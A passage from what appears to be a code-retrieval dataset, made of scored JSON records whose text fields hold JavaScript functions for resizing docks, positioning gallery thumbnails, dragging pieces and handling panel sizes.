zoomFactor = this.$.displaySizeSlider.ticks[sliderValue].value;\n this.updateLogicalResolutionText_(\n /** @type {number} */ (zoomFactor));\n }", "title": "" }, { "docid": "7e27b7b8787f9de7dbba37673c872a36", "score": "0.56037915", "text": "_updateSize() {\n\n // Accommodate shortcuts panel in calculations\n let shortcutsPanelThickness = 0;\n if (this._settings.get_boolean('show-shortcuts-panel')) {\n if (this._isHorizontal) {\n shortcutsPanelThickness = this._shortcutsPanel.actor.height;\n } else {\n shortcutsPanelThickness = this._shortcutsPanel.actor.width;\n }\n }\n\n // Get workspace area\n // This takes into account primary monitor and any additional extensions\n // that may affect width and height calculations\n let workArea = Main.layoutManager.getWorkAreaForMonitor(this._monitor.index);\n\n // get the scale factor\n let scale_factor = St.ThemeContext.get_for_stage(global.stage).scale_factor;\n\n // Get screen edge padding from preferences and multiply it by scale_factor for HiDPI monitors\n let screenEdgePadding = this._settings.get_double('screen-edge-padding') * scale_factor;\n\n let x, y, width, height, anchorPoint;\n if (this._isHorizontal) {\n // Get x position and width\n if (this._settings.get_boolean('customize-height')) {\n let leftMargin = Math.floor(this._settings.get_double('top-margin') * this._monitor.width);\n let rightMargin = Math.floor(this._settings.get_double('bottom-margin') * this._monitor.width);\n x = workArea.x + leftMargin;\n width = workArea.width - leftMargin - rightMargin;\n } else {\n let margin = this._monitor.width * .1;\n x = this._monitor.x + margin;\n width = this._monitor.width - (margin * 2);\n }\n\n // Get y position, height, and anchorpoint\n height = this._thumbnailsBox._thumbnailsBoxHeight + shortcutsPanelThickness + screenEdgePadding;\n if (this._position == St.Side.TOP) {\n y = this._monitor.y;\n anchorPoint = Clutter.Gravity.NORTH_WEST;\n } else {\n y = this._monitor.y + this._monitor.height;\n anchorPoint = Clutter.Gravity.SOUTH_WEST;\n }\n\n } else {\n // Get x position, width, and anchorpoint\n width = this._thumbnailsBox._thumbnailsBoxWidth + shortcutsPanelThickness + screenEdgePadding;\n if (this._position == St.Side.LEFT) {\n x = this._monitor.x;\n anchorPoint = Clutter.Gravity.NORTH_WEST;\n } else {\n x = this._monitor.x + this._monitor.width;\n anchorPoint = Clutter.Gravity.NORTH_EAST;\n }\n\n // Get y position and height\n if (this._settings.get_boolean('customize-height')) {\n let topMargin = Math.floor(this._settings.get_double('top-margin') * this._monitor.height);\n let bottomMargin = Math.floor(this._settings.get_double('bottom-margin') * this._monitor.height);\n y = workArea.y + topMargin;\n height = workArea.height - topMargin - bottomMargin;\n\n } else {\n let controlsTop = 45;\n y = this._monitor.y + Main.panel.height + controlsTop + Main.overview.searchEntry.height;\n height = this._monitor.height - (y + Main.overview.searchEntry.height);\n }\n }\n\n //// skip updating if size is same ??\n //if ((this.actor.y == y) && (this.actor.width == this._thumbnailsBox._thumbnailsBoxWidth + shortcutsPanelThickness) && (this.actor.height == height)) {\n //return;\n //}\n\n // Update position of main actor (used to detect window overlaps)\n this.actor.set_position(x, y);\n this._struts.set_position(x, y);\n\n // Update size of the main actor as well as the _dock & _panels inside\n // NOTE: Rather than rely on the builtin box layout mechanics, we control\n // both width and height based on the thumbnail & shortcuts panels. This\n // allows us to control the trigger space for showing/hiding and scrolling\n if (this._isHorizontal) {\n if (this._settings.get_boolean('customize-height')) {\n let [minThumbnailsBoxWidth, minThumbnailsBoxHeight, natThumbnailsBoxWidth, natThumbnailsBoxHeight] = this._thumbnailsBox.get_preferred_size();\n let minShortcutsPanelWidth = 0, minShortcutsPanelHeight = 0, natShortcutsPanelWidth = 0, natShortcutsPanelHeight = 0;\n if (this._settings.get_boolean('show-shortcuts-panel')) {\n [minShortcutsPanelWidth, minShortcutsPanelHeight, natShortcutsPanelWidth, natShortcutsPanelHeight] = this._shortcutsPanel.actor.get_preferred_size();\n }\n let containerWidth = natThumbnailsBoxWidth > natShortcutsPanelWidth ? natThumbnailsBoxWidth : natShortcutsPanelWidth;\n if (containerWidth > width) {\n containerWidth = width;\n }\n this._panelsContainer.set_size(containerWidth, height);\n this._panels.set_size(containerWidth, height);\n if (this._extendContainer) {\n this._dockContainer.set_size(width, height);\n this._dock.set_size(width, height + this._triggerWidth);\n this.actor.set_size(width, height + this._triggerWidth);\n } else {\n this._dockContainer.set_size(containerWidth, height);\n this._dock.set_size(containerWidth, height + this._triggerWidth);\n this.actor.set_size(containerWidth, height + this._triggerWidth);\n if (this._centerContainer) {\n if (width > containerWidth) {\n let xMiddle = x + Math.round((width - containerWidth) / 2);\n this.actor.set_position(xMiddle, y);\n }\n }\n }\n } else {\n this._panelsContainer.set_size(width, height);\n this._panels.set_size(width, height);\n this._dockContainer.set_size(width, height);\n this._dock.set_size(width, height + this._triggerWidth);\n this.actor.set_size(width, height + this._triggerWidth);\n }\n } else {\n if (this._settings.get_boolean('customize-height')) {\n let [minThumbnailsBoxWidth, minThumbnailsBoxHeight, natThumbnailsBoxWidth, natThumbnailsBoxHeight] = this._thumbnailsBox.get_preferred_size();\n let minShortcutsPanelWidth = 0, minShortcutsPanelHeight = 0, natShortcutsPanelWidth = 0, natShortcutsPanelHeight = 0;\n if (this._settings.get_boolean('show-shortcuts-panel')) {\n [minShortcutsPanelWidth, minShortcutsPanelHeight, natShortcutsPanelWidth, natShortcutsPanelHeight] = this._shortcutsPanel.actor.get_preferred_size();\n }\n let containerHeight = natThumbnailsBoxHeight > natShortcutsPanelHeight ? natThumbnailsBoxHeight : natShortcutsPanelHeight;\n if (containerHeight > height) {\n containerHeight = height;\n }\n this._panelsContainer.set_size(width, containerHeight);\n this._panels.set_size(width, containerHeight);\n if (this._extendContainer) {\n this._dockContainer.set_size(width, height);\n this._dock.set_size(width + this._triggerWidth, height);\n this.actor.set_size(width + this._triggerWidth, height);\n } else {\n this._dockContainer.set_size(width, containerHeight);\n this._dock.set_size(width + this._triggerWidth, containerHeight);\n this.actor.set_size(width + this._triggerWidth, containerHeight);\n if (this._centerContainer) {\n if (height > containerHeight) {\n let yMiddle = y + Math.round((height - containerHeight) / 2);\n this.actor.set_position(x, yMiddle);\n }\n }\n }\n } else {\n this._panelsContainer.set_size(width, height);\n this._panels.set_size(width, height);\n this._dockContainer.set_size(width, height);\n this._dock.set_size(width + this._triggerWidth, height);\n this.actor.set_size(width + this._triggerWidth, height);\n }\n }\n\n // Set anchor points\n this.actor.move_anchor_point_from_gravity(anchorPoint);\n this._struts.move_anchor_point_from_gravity(anchorPoint);\n\n // Update slider slideout width\n let slideoutSize = this._settings.get_boolean('dock-edge-visible') ? this._triggerWidth + DOCK_EDGE_VISIBLE_WIDTH : this._triggerWidth;\n this._slider.slideoutSize = slideoutSize;\n\n // Update slider partial width\n // NOTE: only effects slider width when dock is set to partially hide in overview\n let slidePartialVisibleWidth = this._triggerWidth + DOCK_EDGE_VISIBLE_OVERVIEW_WIDTH;\n if (this._settings.get_boolean('show-shortcuts-panel')\n && this._settings.get_enum('shortcuts-panel-orientation') == 1) {\n if (this._isHorizontal) {\n slidePartialVisibleWidth = this._shortcutsPanel.actor.height;\n } else {\n slidePartialVisibleWidth = this._shortcutsPanel.actor.width;\n }\n } else {\n // NOTE: Gnome css top panel height is 1.86em\n if (this._settings.get_boolean('customize-thumbnail-visible-width')) {\n slidePartialVisibleWidth = this._settings.get_double('thumbnail-visible-width');\n } else {\n let themeVisibleWidth = this._thumbnailsBox.get_theme_node().get_length('visible-width');\n if (themeVisibleWidth > 0)\n slidePartialVisibleWidth = themeVisibleWidth;\n }\n }\n this._slider.partialSlideoutSize = slidePartialVisibleWidth;\n\n // Set struts size\n if (!this._settings.get_boolean('dock-fixed')\n && (this._settings.get_boolean('intellihide') && this._settings.get_enum('intellihide-action') == IntellihideAction.SHOW_PARTIAL_FIXED)) {\n if (this._isHorizontal) {\n this._struts.set_size(width, slidePartialVisibleWidth);\n } else {\n this._struts.set_size(slidePartialVisibleWidth, height);\n }\n } else {\n this._struts.set_size(this.actor.width, this.actor.height);\n }\n\n }", "title": "" }, { "docid": "0eae04e5c60a6d53e70cb881e5c2fc63", "score": "0.560287", "text": "function adjustSize() {\r\n if (data == null) return;\r\n // data.dim(self.dim());\r\n\r\n if (tabs.win().ready == null || ! tabs.win().ready() ||\r\n page.win().ready == null || ! page.win().ready()) {\r\n setTimeout(\"adjustSize();\", 50);\r\n return;\r\n }\r\n var th = tabs.win().dh();\r\n\r\n tabs.dim(self.dim().w, th);\r\n tabs.pos(0, 0);\r\n page.dim(self.dim().w, self.dim().h - tabs.dim().h);\r\n page.pos(0, tabs.dim().h);\r\n}", "title": "" }, { "docid": "339b0d86bd0d3bf6c00d33f1753516ed", "score": "0.5582291", "text": "function dragPiece(evt)\n{\n evt.currentTarget.x = evt.stageX-WIDTH/2;\n evt.currentTarget.y = evt.stageY-HEIGHT/2;\n stage.setChildIndex(evt.currentTarget, stage.getNumChildren()-1); //brings piece to the front\n stage.update();\n}", "title": "" }, { "docid": "e6d7561616d3bcf23d52bc6fba72f8ed", "score": "0.55788016", "text": "function resize(item) {\n item.style.resize = \"both\"\n}", "title": "" }, { "docid": "53e831a017449f78d117308989952462", "score": "0.55766755", "text": "growBox(amount){\n this.dimensions.w += amount;\n this.dimensions.h += amount;\n \n if(this.dimensions.w > this.fullSize.w){\n this.dimensions.w = this.fullSize.w;\n }\n \n if(this.dimensions.h > this.fullSize.h){\n this.dimensions.h = this.fullSize.h;\n }\n }", "title": "" }, { "docid": "932d846a391bde8f317045c3d45f6e9c", "score": "0.5573179", "text": "function fixSize(){\n\t\t\n\t\tif(g_isVertical == false){\t\t//fix horizontal\n\t\t\t\n\t\t\tvar height = g_sizes.thumbSecondSize;\n\t\t\t\n\t\t\t var objCssStrip = {};\n\t\t\t objCssStrip[\"height\"] = height+\"px\";\t\t \n\t\t\t \t\t \n\t\t\t //set inner strip params\n\t\t\t var objCssInner = {};\n\t\t\t objCssInner[\"height\"] = height+\"px\";\t\t\n\t\t\t \n\t\t}else{\t//fix vertical\n\t\t\t\n\t\t\tvar width = g_sizes.thumbSecondSize;\n\t\t\t\n\t\t\t var objCssStrip = {};\n\t\t\t objCssStrip[\"width\"] = width+\"px\";\t\t \n\t\t\t \t\t \n\t\t\t //set inner strip params\n\t\t\t var objCssInner = {};\n\t\t\t objCssInner[\"width\"] = width+\"px\";\n\t\t\t \n\t\t}\t\t\n\t\t \n\t\tg_objStrip.css(objCssStrip);\n\t\tg_objStripInner.css(objCssInner);\t\t\t\t\n\t}", "title": "" }, { "docid": "a2efbbf83cded060e291087869ee195b", "score": "0.5564985", "text": "function adjust_size_smaller(){\r\n if(cellSize > 10){\r\n cellSize -= 5;\r\n update_map_size();\r\n }\r\n}", "title": "" }, { "docid": "d84171457959ea9ba3c066446ccbbf1c", "score": "0.55564314", "text": "function hideDock_scale () {\n this._item_size = dockicon_size;\n let monitor = Main.layoutManager.primaryMonitor;\n let cornerX = 0;\n let height = this._nicons*(this._item_size + this._spacing) + 2*this._spacing;\n let width = this._item_size + 4*this._spacing;\n\n switch (position) {\n case PositionMode.LEFT:\n cornerX=monitor.x;\n break;\n case PositionMode.RIGHT:\n default:\n cornerX = monitor.x + monitor.width-1;\n }\n\n if (hideable) {\n Tweener.addTween(this.actor,{\n y: monitor.y + (monitor.height-height)/2,\n x: cornerX,\n height:height,\n width: width,\n scale_x: 0.025,\n time: autohide_animation_time,\n transition: 'easeOutQuad'\n });\n hideDock=true;\n }\n}", "title": "" }, { "docid": "98ba68bcd8a8e617714971df29df4c87", "score": "0.5554924", "text": "reSizeBoundaryWhenObjectDragged(obj) {\n\t\t// Get box object\n\t\tconst {height, width} = this.getBBoxObject(`#${obj.id}`)\n\n\t\tobj.dataContainer.boundary.forEach(boundary => {\n\t\t\tif (boundary.id != obj.id && !boundary.parent) {\n\t\t\t\tlet boundaryBox = this.getBBoxObject(`#${boundary.id}`)\n\n\t\t\t\tif (width >= boundaryBox.width) {\n\t\t\t\t\t//2018.07.03 - Vinh Vo - save this height for restoring to origin size if the object not drag in/out this boundary\n\t\t\t\t\tboundary.ctrlSrcWidth = boundary.width\n\t\t\t\t\tboundary.setWidth(width + 15)\n\t\t\t\t\tboundary.boundaryMgmt.edgeMgmt.updatePathConnectForVertex(boundary)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}", "title": "" }, { "docid": "bce12c4057b47033bd835f5f030f0eeb", "score": "0.5554874", "text": "function positionThumb_hortype(){\n\t\t\n\t\t//trace(g_options);\n\t\t//trace(g_temp);\n\t\t\n\t\tvar arrThumbs = g_objInner.children(\".ug-thumb-wrapper\");\n\t\t\n\t\tvar posx = 0;\n\t\tvar posy = 0;\n\t\tvar baseX = 0;\n\t\tvar maxx = 0, maxy = 0, paneMaxY = 0;\n\t\tvar rowsCounter = 0;\n\t\t\n\t\tg_temp.innerWidth = 0;\n\t\tg_temp.numPanes = 1;\n\t\tg_temp.arrPanes = [];\n\t\tg_temp.numThumbsInPane = 0;\n\t\t\n\t\t//set first pane position\n\t\tg_temp.arrPanes.push(baseX);\t\n\t\t\n\t\tvar numThumbs = arrThumbs.length;\n\t\t\t\t\n\t\tfor(i=0;i < numThumbs; i++){\n\t\t\tvar objThumb = jQuery(arrThumbs[i]);\n\t\t\t\n\t\t\tvar thumbWidth = objThumb.outerWidth();\n\t\t\tvar thumbHeight = objThumb.outerHeight();\n\t\t\t\n\t\t\t//check end of the size, start a new row\n\t\t\tif((posx - baseX + thumbWidth) > g_temp.gridWidth){\n\t\t\t\trowsCounter++;\n\t\t\t\tposy = 0;\n\t\t\t\t\n\t\t\t\tif(rowsCounter >= g_options.grid_num_rows){\n\t\t\t\t\t\n\t\t\t\t\t//change to a new pane\t\t\t\t\t\n\t\t\t\t\trowsCounter = 0;\n\t\t\t\t\tbaseX = posx;\n\t\t\t\t\tpaneMaxY = 0;\n\t\t\t\t\tposy = 0;\n\t\t\t\t\t\n\t\t\t\t\t//change grid width to max width\n\t\t\t\t\tif(g_temp.numPanes == 1){\n\t\t\t\t\t\tg_temp.gridWidth = maxx;\n\t\t\t\t\t\tg_objGrid.width(g_temp.gridWidth);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tg_temp.numPanes++;\n\t\t\t\t\tg_temp.arrPanes.push(baseX);\n\t\t\t\t\t\n\t\t\t\t}else{\t\t\t//start new line in existing pane\n\t\t\t\t\tposx = baseX;\n\t\t\t\t\tposy = paneMaxY + g_options.grid_space_between_rows;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//place the thumb\n\t\t\tg_functions.placeElement(objThumb, posx, posy);\n\t\t\t\n\t\t\t//count maxx\n\t\t\tvar endX = posx + thumbWidth;\n\t\t\tif(endX > maxx)\n\t\t\t\tmaxx = endX;\n\t\t\t\n\t\t\t//count maxy\n\t\t\tvar endY = posy + thumbHeight;\n\t\t\t\n\t\t\tif(endY > paneMaxY)\n\t\t\t\tpaneMaxY = endY;\n\t\t\t\t\n\t\t\tif(endY > maxy)\n\t\t\t\tmaxy = endY;\n\t\t\t\n\t\t\t//count maxx end\n\t\t\tvar endX = maxx + thumbWidth;\n\t\t\tif(endX > g_temp.innerWidth)\n\t\t\t\tg_temp.innerWidth = endX;\n\t\t\t\t\t\t\n\t\t\tposx += thumbWidth + g_options.grid_space_between_cols;\n\t\t\t\t\t\t\n\t\t\t//count number thumbs in pane\n\t\t\tif(g_temp.numPanes == 1)\n\t\t\t\tg_temp.numThumbsInPane++;\n\t\t\t\n\t\t\t\n\t\t}//end for\n\t\t\n\t\t\n\t\t//set inner strip width and height\n\t\tg_temp.innerWidth = maxx;\n\t\tg_temp.innerHeight = paneMaxY;\n\t\t\n\t\tg_objInner.width(g_temp.innerWidth);\n\t\tg_objInner.height(g_temp.innerHeight);\n\t\t\n\t\t//set grid height\n\t\tif(g_temp.numPanes == 1){\n\t\t\tg_temp.gridWidth = maxx;\n\t\t\tg_temp.gridHeight = maxy;\n\t\t\tg_objGrid.width(maxx);\n\t\t\tg_objGrid.height(maxy);\n\t\t}\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "72b61128be7c3d975c7214436d0fa9d3", "score": "0.5552866", "text": "function setSouthSize(pp) {\n if (!pp.length) return;\n var ppopts = pp.panel('options');\n pp.panel('resize', {\n width: cc.width(),\n height: ppopts.height,\n left: 0,\n top: cc.height() - ppopts.height\n });\n cpos.height -= ppopts.height;\n }", "title": "" }, { "docid": "952dda878edd89a10003aa9ca8e8b7d3", "score": "0.5550394", "text": "function hideDock_scale()\n{\n this._item_size = this.icon_size;\n let monitor = Main.layoutManager.primaryMonitor;\n if (this._displayMonitor > -1 &&\n this._displayMonitor < Main.layoutManager.monitors.length) {\n monitor = Main.layoutManager.monitors[this._displayMonitor];\n }\n let position_x = 0;\n let position_y = 0;\n let height = 0;\n let width = 0;\n\n switch (this.position) {\n case PositionMode.TOP:\n width =\n this._nicons * (this._item_size + this._spacing) +\n 2 * this._spacing;\n height = this._item_size + 4 * this._spacing;\n position_x = monitor.x + (monitor.width - width) / 2;\n position_y = monitor.y;\n break;\n case PositionMode.BOTTOM:\n width =\n this._nicons * (this._item_size + this._spacing) +\n 2 * this._spacing;\n height = this._item_size + 4 * this._spacing;\n position_x = monitor.x + (monitor.width - width) / 2;\n position_y = monitor.y + monitor.height - 1;\n break;\n case PositionMode.LEFT:\n height =\n this._nicons * (this._item_size + this._spacing) +\n 2 * this._spacing;\n width = this._item_size + 4 * this._spacing;\n position_x = monitor.x;\n position_y = monitor.y + (monitor.height - height) / 2;\n break;\n case PositionMode.RIGHT:\n default:\n height =\n this._nicons * (this._item_size + this._spacing) +\n 2 * this._spacing;\n width = this._item_size + 4 * this._spacing;\n position_x = monitor.x + monitor.width - 1;\n position_y = monitor.y + (monitor.height - height) / 2;\n }\n\n if (hideable) {\n switch (this.position) {\n case PositionMode.TOP:\n case PositionMode.BOTTOM:\n Tweener.addTween(this.actor, {\n x: position_x,\n y: position_y,\n height: height,\n width: width,\n scale_y: 0.025,\n time: this.hide_effect_duration * 0.001,\n transition: 'easeOutQuad',\n onUpdate: function()\n {\n Main.layoutManager._chrome.updateRegions();\n }\n });\n break;\n case PositionMode.TOP:\n case PositionMode.BOTTOM:\n default:\n Tweener.addTween(this.actor, {\n x: position_x, y: position_y, height: height, width: width,\n scale_x: 0.025, time: this.hide_effect_duration * 0.001,\n transition: 'easeOutQuad',\n onUpdate: function()\n {\n Main.layoutManager._chrome.updateRegions();\n }\n });\n }\n hideDock = true;\n }\n}", "title": "" }, { "docid": "c6325cb3366198d5204f9e4139c33c10", "score": "0.55503654", "text": "function update() {\n\tDraggable.create(\".box\", {\n\t\tbounds:$container,\n\t\tedgeResistance:0.65,\n\t\ttype:\"x,y\",\n\t\tonPress:function() {\n\t\t\tTweenLite.set(this.target, {width:60, height:60});\n\t\t},\n\t\tonRelease:function() {\n\t\t\tvar slot = \"\";\n\t\t\tvar x = this.pointerX, y = this.pointerY;\n\t\t\tvar question = questions[currentQuestion];\n\t\t\tfor (var i = 0; i < question.numAnswers; i++) {\n\t\t\t\tfor (j = 0; j < question.answers[i].length; j++) {\n\t\t\t\t\tvar item = $(\"#as\"+i+j);\n\t\t\t\t\t//console.log(item.position().left, item.position().top, item.width(), item.height());\n\t\t\t\t\tif ((x >= item.position().left) && (y >= item.position().top) &&\n\t\t\t\t\t\t(x <= item.position().left + item.width()) && (y <= item.position().top + item.height())) {\n\t\t\t\t\t\tslot = \"#as\"+i+j;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (slot == \"\") {\n\t\t\t\tTweenLite.set(this.target, {clearProps:\"transform\"});\n\t\t\t\tTweenLite.set(this.target, {width:40, height:40});\n\t\t\t}\n\t\t\telse {\n\t\t\t\tTweenLite.set(this.target, {clearProps:\"transform\"});\n\t\t\t\twhile ($(slot).children().length > 0) {\n\t\t\t\t\t$(slot).children().first().remove();\n\t\t\t\t}\n\t\t\t\t$(\"#\"+this.target.id).appendTo($(slot));\n\t\t\t\tcheckAnswers();\n\t\t\t\tfor (i = 0; i < palette.length; i++) {\n\t\t\t\t\tif (palette[i].image == this.target.id) {\n\t\t\t\t\t\tx = $(\"#p\"+i).position().left;\n\t\t\t\t\t\ty = $(\"#p\"+i).position().top;\n\t\t\t\t\t\t$(\"<img/>\").attr(\"class\",\"box paletteItem m\"+i).attr(\"id\",palette[i].image).attr(\"src\", \"img/\"+palette[i].image+\".svg\")\n\t\t\t\t\t\t\t.attr(\"title\", palette[i].text)\n\t\t\t\t\t\t\t.css({position:\"absolute\", left:x, top:y})\n\t\t\t\t\t\t\t.appendTo($paletteArea);\n\t\t\t\t\t\tupdate();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "392037391fcbd328dd0f7f68aebd7951", "score": "0.55495906", "text": "function scaleUp() {\n var scale = Math.max(\n (minWidth || destWidth) / destWidth,\n (minHeight || destHeight) / destHeight\n )\n if (scale > 1) {\n destWidth *= scale\n destHeight *= scale\n }\n }", "title": "" }, { "docid": "970094fb73d1bb511e40895ce821c12b", "score": "0.5540959", "text": "setBackgroundImageWidthUnit(valueNew){let convertedValue=TcHmi.ValueConverter.toDimensionUnit(valueNew);null===convertedValue&&(convertedValue=this.getAttributeDefaultValueInternal(\"BackgroundImageWidthUnit\")),convertedValue!==this.__background.imageWidthUnit&&(this.__background.imageWidthUnit=convertedValue,TcHmi.EventProvider.raise(this.__id+\".onPropertyChanged\",{propertyName:\"BackgroundImageWidthUnit\"}),this.__processBackgroundImageWidthUnit())}", "title": "" }, { "docid": "82be6e05acdd4e6cccef085d0353682d", "score": "0.55377215", "text": "function setElementsSize() {\n\n\t\tif (g_options.strippanel_vertical_type == false)\n\t\t\tsetElementsSize_hor();\n\t\telse\n\t\t\tsetElementsSize_vert();\n\t}", "title": "" }, { "docid": "b1b9823ad91564fa539c1bccede25d91", "score": "0.5532395", "text": "function handleResize() {\n\t\t // 1. update height of step elements\n\t\t var stepH1 = Math.floor(window.innerHeight * 0.75);\n\t\t step1.style(\"height\", stepH1 + \"px\");\n\t\n\t\t var figureHeight1 = window.innerHeight / 2;\n\t\t var figureMarginTop1 = (window.innerHeight - figureHeight1) / 2;\n\t\n\t\t figure1\n\t\t .style(\"height\", figureHeight1 + \"px\")\n\t\t .style(\"top\", figureMarginTop1 + \"px\");\n\t\n\t\t // 3. tell scrollama to update new element dimensions\n\t\t scroller1.resize();\n\t\t}", "title": "" }, { "docid": "48f8aeae3df5d41d093fb24f24b7058c", "score": "0.55303395", "text": "function updateSelected() {\n const {\n top,\n left,\n width,\n height,\n } = getSelectedRect();\n draggers[0].style.transform = `translate(${x0}px, ${y0}px)`;\n draggers[1].style.transform = `translate(${x1}px, ${y0}px)`;\n draggers[2].style.transform = `translate(${x1}px, ${y1}px)`;\n draggers[3].style.transform = `translate(${x0}px, ${y1}px)`;\n rect.style.left = `${left}px`;\n rect.style.top = `${top}px`;\n rect.style.width = `${width}px`;\n rect.style.height = `${height}px`;\n}", "title": "" }, { "docid": "b84a9a483d2037a1a94f7be5cdf333c8", "score": "0.55172527", "text": "function scaleUp() {\n\t// Doubling the size\n\t// Tie this to a toggle?\n\t\t\tthis.game.stage.scale.minWidth = this.screenW * 2;\n\t\t\tthis.game.stage.scale.minHeight = this.screenH * 2;\n\t\t\tthis.game.stage.scale.setSize();\n\n}", "title": "" }, { "docid": "13e99191d6aad315aff2e0121469e805", "score": "0.5514189", "text": "move(newTile){\n\t\tlet move = this.focusedTile.designation; \n\t\tlet isTransforming = this.focusedTile.figure.move(newTile.indX, newTile.indY);\n\t\tnewTile.figure = this.focusedTile.figure;\n\t\tnewTile.sprite = this.focusedTile.sprite;\n\t\tthis.focusedTile.sprite = null;\n\t\tthis.focusedTile.figure = null;\n\t\tthis.defocus();\n\t\tif(isTransforming){\n\t\t\tnewTile.figure.transform();\n\t\t\t//TODO: Dialog to give the player the choice of a new type for the figure\n\t\t}\n\t\tdocument.getElementById(\"moveList\").innerHTML += \"<li>Player \" + this.turn + \":\\n\" + newTile.figure.type + \" \" + move + \"→\" + newTile.designation + \"</li>\";\n\t\tthis.changePlayerTurn();\n\t}", "title": "" }, { "docid": "d63ea50e7a201b990dac86633f996f3d", "score": "0.55137974", "text": "function setSouthSize(pp) {\n if (pp.length == 0) return;\n pp.panel('resize', {\n width: cc.width(),\n height: pp.panel('getOptions').height,\n left: 0,\n top: cc.height() - pp.panel('getOptions').height\n });\n cpos.height -= pp.panel('getOptions').height;\n }", "title": "" }, { "docid": "8aaaef2ccab75b8cccfcba13ebf35a2e", "score": "0.5510059", "text": "function reduceMiniSize() {\n var plotContainers = document.getElementsByClassName(\"svg-container\");\n\n var dim = getContainerDim(1, plotContainers);\n\n if (!miniReduced) {\n for (var i = 1; i < plotContainers.length; i++) {\n plotContainers[i].style.cssText = \"position: relative; width: \" + dim[0] * config.reductionFactor + \"px; height: \" + dim[1] + \"px;\";\n }\n }\n miniReduced = true;\n}", "title": "" }, { "docid": "477eb802b2677d48e1b8f11fb912c62c", "score": "0.55066675", "text": "function resizedw(){\n loadSlider(slider);\n }", "title": "" }, { "docid": "c900d7a6d20316d43950919845d9db0d", "score": "0.550621", "text": "function setElementsSize_hor() {\n\t\t\n\t\t// get strip height\n\t\tvar stripHeight = g_objStrip.getHeight();\n\t\tvar panelWidth = g_temp.panelWidth;\n\n\t\t// set buttons height\n\t\tif (g_objButtonNext) {\n\t\t\tg_objButtonPrev.height(stripHeight);\n\t\t\tg_objButtonNext.height(stripHeight);\n\n\t\t\t// arrange buttons tip\n\t\t\tvar prevTip = g_objButtonPrev.children(\".ug-strip-arrow-tip\");\n\t\t\tg_functions.placeElement(prevTip, \"center\", \"middle\");\n\n\t\t\tvar nextTip = g_objButtonNext.children(\".ug-strip-arrow-tip\");\n\t\t\tg_functions.placeElement(nextTip, \"center\", \"middle\");\n\t\t}\n\n\t\t// set panel height\n\t\tvar panelHeight = stripHeight + g_options.strippanel_padding_top\n\t\t\t\t+ g_options.strippanel_padding_bottom;\n\n\t\t// set panel size\n\t\tg_objPanel.width(panelWidth);\n\t\tg_objPanel.height(panelHeight);\n\n\t\tg_temp.panelHeight = panelHeight;\n\n\t\t// set strip size\n\t\tvar stripWidth = panelWidth - g_options.strippanel_padding_left\n\t\t\t\t- g_options.strippanel_padding_right;\n\n\t\tif (g_objButtonNext) {\n\t\t\tvar buttonWidth = g_objButtonNext.outerWidth();\n\t\t\tstripWidth = stripWidth - buttonWidth * 2\n\t\t\t\t\t- g_options.strippanel_padding_buttons * 2;\n\t\t}\n\n\t\tg_objStrip.resize(stripWidth);\n\t}", "title": "" }, { "docid": "c0877af2dc0556f8e37b47cba3e1dc7d", "score": "0.55043024", "text": "function buildDragging() {\n if (game.input.keyboard.isDown(Phaser.Keyboard.SHIFT))\n {//smooth dragging\n draggingPiece.x=game.input.x;\n draggingPiece.y=game.input.y;\n } else\n {//snap to grid\n draggingPiece.x=Math.round(game.input.x/gridSize)*gridSize;\n draggingPiece.y=Math.round(game.input.y/gridSize)*gridSize;\n }\n if (game.input.keyboard.isDown(Phaser.Keyboard.D)) \n {//delete the piece\n draggingPiece.destroy(true);\n draggingPiece.deleted=true;\n }\n}", "title": "" }, { "docid": "13e98e3a12665ab00ebe7847e1dfdc3f", "score": "0.55036676", "text": "function moveDisk(evt) {\n let clickedTower = evt.currentTarget;\n \n if (currentMode === \"pickUp\") {\n diskSelected = clickedTower.lastElementChild;\n diskSelected.style = \"border: 3px solid gold\";\n currentMode = \"putDown\"\n } else if (currentMode === \"putDown\") {\n if (!clickedTower.lastElementChild) {\n clickedTower.appendChild(diskSelected);\n diskSelected.style = \"border: 1px solid black\";\n currentMode = \"pickUp\"\n } else if (diskSelected.dataset.width < clickedTower.lastElementChild.dataset.width) { \n clickedTower.appendChild(diskSelected)\n diskSelected.style = \"border: 1px solid black\";\n currentMode = \"pickUp\"\n } else {\n alert(\"No disk may be placed on top of a smaller disk!\")\n diskSelected.style = \"border: 1px solid black\";\n currentMode = \"pickUp\"\n }\n }\n \n if (towerEnd.childElementCount === 4) {\n alert(\"Winner!!!\");\n reset() /* refresh page to play again*/\n }\n }", "title": "" }, { "docid": "f117e35659153cd1fb6c60c9b343eeb9", "score": "0.55036634", "text": "onCustomWidgetResize(width, height){\n\t /*const bcRect = this.getBoundingClientRect();\n this._widgetHeight = bcRect.height;\n this._widgetWidth = bcRect.width;\n this.render();*/\n }", "title": "" }, { "docid": "db706a4132701a28cdb83e26303d789f", "score": "0.5494316", "text": "function positionThumb_hortype(){\n\t\t\t\t\n\t\tvar arrThumbs = g_objInner.children(\".ug-thumb-wrapper\");\n\t\t\n\t\tvar baseX = g_options.grid_padding;\n\t\tvar baseY = g_options.grid_padding;\n\t\tvar posy = baseY;\n\t\tvar posx = baseX;\n\t\tvar maxx = 0, maxy = 0, paneMaxY = 0;\n\t\tvar rowsCounter = 0;\n\t\t\n\t\tg_temp.innerWidth = 0;\n\t\tg_temp.numPanes = 1;\n\t\tg_temp.arrPanes = [];\n\t\tg_temp.numThumbsInPane = 0;\n\t\t\n\t\t//set first pane position\n\t\tg_temp.arrPanes.push(baseX-g_options.grid_padding);\t\n\t\t\n\t\tvar numThumbs = arrThumbs.length;\n\t\t\t\t\n\t\tfor(i=0;i < numThumbs; i++){\n\t\t\tvar objThumb = jQuery(arrThumbs[i]);\n\t\t\t\n\t\t\tvar thumbWidth = objThumb.outerWidth();\n\t\t\tvar thumbHeight = objThumb.outerHeight();\n\t\t\t\n\t\t\t//check end of the size, start a new row\n\t\t\tif((posx - baseX + thumbWidth) > g_temp.gridWidth){\n\t\t\t\trowsCounter++;\n\t\t\t\tposy = 0;\n\t\t\t\t\n\t\t\t\tif(rowsCounter >= 